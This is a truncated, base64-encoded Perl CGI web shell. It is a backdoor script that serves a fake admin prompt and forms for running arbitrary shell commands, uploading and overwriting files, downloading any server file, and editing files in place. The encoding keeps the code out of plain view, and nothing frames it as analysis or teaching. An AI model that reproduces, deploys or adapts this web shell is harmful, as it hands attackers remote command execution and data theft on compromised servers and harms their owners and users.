S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRkaXI9ICI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImNvbW1hbmQiKS4iPC9zcGFuPiI7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iIG9uU3VibWl0PSJFbmNvZGVyKCdjJykiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+DQokUHJvbXB0DQo8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiIGlkPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIGlkPSJ1cCIgdmFsdWU9Im92ZXJ3cml0ZSI+DQo8bGFiZWwgZm9yPSJ1cCI+T3ZlcndyaXRlIGlmIGl0IEV4aXN0czwvbGFiZWw+PGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXJldHVybiA8PEVORDsNCjwvdGV4dGFyZWE+DQo8YnI+PGZvbnQgY29sb3I9eWVsbG93Pg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4NCjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4NCkVORA0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJbXkgJHJlc3VsdD0iIjsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJHJlc3VsdCAuPSA8PEVORDsNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KDQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+DQpFTkQNCgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCW15ICRyZXN1bHQgPSAiIjsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgkJZXhpdCgxKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJHJlc3VsdCAuPSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQlyZXR1cm4gJlByaW50RmlsZVVwbG9hZEZvcm07DQoNCgl9DQoJbXkgJHJlc3VsdD0iIjsNCgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2Vzcw0KCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOw0KCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJHJlc3VsdCAuPSAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQlyZXR1cm4gJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQ0KIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQ0KIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluDQojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUNCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMNCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7DQoJbXkgJHJlc3VsdD0iIjsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgcnVuIGNvbW1hbmQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSdW5DbWQNCnsNCglteSAkcmVzdWx0PSIiOw0KCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCX0NCglpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJew0KCQkkfD0xOw0KCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQl7DQoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsNCgkJfQ0KCQkkfD0wOw0KCX0NCgllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgl7DQoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOw0KCX0NCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBGb3JtIFNhdmUgRmlsZSANCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZUZvcm0NCnsNCglteSAkcmVzdWx0ID0iIjsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7DQoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOw0KCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiID4nOw0KCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOw0KCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOw0KCWlmKC13ICRGaWxlKQ0KCXsNCgkJJHJvd3M9IjIzIg0KCX1lbHNlDQoJew0KCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2NvbG9yOiB5ZWxsb3c7JyA+IENhbm4ndCB3cml0ZSBmaWx